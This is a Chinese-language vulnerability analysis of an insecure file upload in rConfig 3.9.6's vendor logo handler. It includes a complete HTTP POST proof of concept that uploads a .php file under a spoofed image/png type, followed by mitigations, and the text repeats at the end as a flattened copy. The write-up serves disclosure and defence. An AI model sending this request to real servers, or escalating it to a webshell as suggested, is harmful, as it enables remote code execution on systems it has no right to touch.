rConfig 3.9.6 文件上传
字数 1042 2025-08-09 22:00:37

rConfig 3.9.6 文件上传漏洞分析与利用

漏洞概述

rConfig 3.9.6 版本中存在一个不安全的文件上传漏洞,攻击者可以利用此漏洞上传恶意文件(如PHP webshell)到服务器,可能导致远程代码执行。

漏洞分析

漏洞位置

漏洞存在于 /lib/crud/vendors.crud.php 文件中,该文件负责处理供应商信息的CRUD操作,包括供应商logo的上传功能。

漏洞原因

  1. 不充分的文件验证:代码仅对文件类型进行了白名单检查,但未对文件内容进行验证
  2. 未验证文件扩展名:虽然检查了Content-Type,但未验证实际文件扩展名
  3. 直接保存用户提供的文件名:使用用户提供的文件名保存文件,没有进行安全处理

漏洞利用

利用条件

  • 攻击者需要有有效的PHPSESSID(已认证或通过其他漏洞获取)
  • 能够发送HTTP POST请求到目标服务器

利用步骤

  1. 构造一个包含恶意PHP代码的文件上传请求
  2. 将文件Content-Type设置为允许的类型(如image/png)
  3. 使用.php扩展名作为文件名
  4. 发送请求到 /lib/crud/vendors.crud.php
  5. 上传的文件将保存在 /images/vendor/ 目录下

详细POC

POST /lib/crud/vendors.crud.php HTTP/1.1
Host: xx.xx.xx.xx
Connection: close
Content-Length: 491
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.131 Safari/537.36
Origin: https://xx.xx.xx.xx
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryWpMXK6WIANv7xtCd
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Referer: https://xx.xx.xx.xx/vendors.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8
Cookie: PHPSESSID=27bdb13b82eac5dab1a420d9699474ca

------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorName"

111
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="vendorLogo"; filename="111.php"
Content-Type: image/png

<?php phpinfo(); ?>
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="add"

add
------WebKitFormBoundaryWpMXK6WIANv7xtCd
Content-Disposition: form-data; name="editid"

------WebKitFormBoundaryWpMXK6WIANv7xtCd--

防御措施

临时解决方案

  1. 禁用或限制对 /lib/crud/vendors.crud.php 的直接访问
  2. 删除或重命名已存在的漏洞文件

长期解决方案

  1. 严格的文件类型验证

    • 同时验证文件扩展名和Content-Type
    • 使用服务器端MIME类型检测(如finfo_file)
  2. 文件名处理

    • 生成随机文件名,不信任用户提供的文件名
    • 强制使用特定扩展名
  3. 文件内容验证

    • 对于图片文件,使用GD库或Imagick验证确实是有效图片
    • 检查文件内容是否包含可疑代码
  4. 权限控制

    • 上传目录设置为不可执行
    • 使用.htaccess或web.config限制特定文件类型的执行
  5. 更新到最新版本

    • 检查rConfig是否有官方补丁
    • 升级到最新安全版本

漏洞验证

  1. 上传测试文件后,访问 /images/vendor/111.php
  2. 如果看到phpinfo页面,则漏洞存在
  3. 也可以上传webshell进行进一步验证

总结

rConfig 3.9.6的文件上传漏洞源于不充分的安全验证,攻击者可利用此漏洞上传任意文件(包括PHP脚本)到服务器。系统管理员应立即采取措施修补此漏洞,开发者应遵循安全文件上传的最佳实践来防止此类漏洞。

rConfig 3.9.6 文件上传漏洞分析与利用 漏洞概述 rConfig 3.9.6 版本中存在一个不安全的文件上传漏洞,攻击者可以利用此漏洞上传恶意文件(如PHP webshell)到服务器,可能导致远程代码执行。 漏洞分析 漏洞位置 漏洞存在于 /lib/crud/vendors.crud.php 文件中,该文件负责处理供应商信息的CRUD操作,包括供应商logo的上传功能。 漏洞原因 不充分的文件验证 :代码仅对文件类型进行了白名单检查,但未对文件内容进行验证 未验证文件扩展名 :虽然检查了Content-Type,但未验证实际文件扩展名 直接保存用户提供的文件名 :使用用户提供的文件名保存文件,没有进行安全处理 漏洞利用 利用条件 攻击者需要有有效的PHPSESSID(已认证或通过其他漏洞获取) 能够发送HTTP POST请求到目标服务器 利用步骤 构造一个包含恶意PHP代码的文件上传请求 将文件Content-Type设置为允许的类型(如image/png) 使用.php扩展名作为文件名 发送请求到 /lib/crud/vendors.crud.php 上传的文件将保存在 /images/vendor/ 目录下 详细POC 防御措施 临时解决方案 禁用或限制对 /lib/crud/vendors.crud.php 的直接访问 删除或重命名已存在的漏洞文件 长期解决方案 严格的文件类型验证 : 同时验证文件扩展名和Content-Type 使用服务器端MIME类型检测(如finfo_ file) 文件名处理 : 生成随机文件名,不信任用户提供的文件名 强制使用特定扩展名 文件内容验证 : 对于图片文件,使用GD库或Imagick验证确实是有效图片 检查文件内容是否包含可疑代码 权限控制 : 上传目录设置为不可执行 使用.htaccess或web.config限制特定文件类型的执行 更新到最新版本 : 检查rConfig是否有官方补丁 升级到最新安全版本 漏洞验证 上传测试文件后,访问 /images/vendor/111.php 如果看到phpinfo页面,则漏洞存在 也可以上传webshell进行进一步验证 总结 rConfig 3.9.6的文件上传漏洞源于不充分的安全验证,攻击者可利用此漏洞上传任意文件(包括PHP脚本)到服务器。系统管理员应立即采取措施修补此漏洞,开发者应遵循安全文件上传的最佳实践来防止此类漏洞。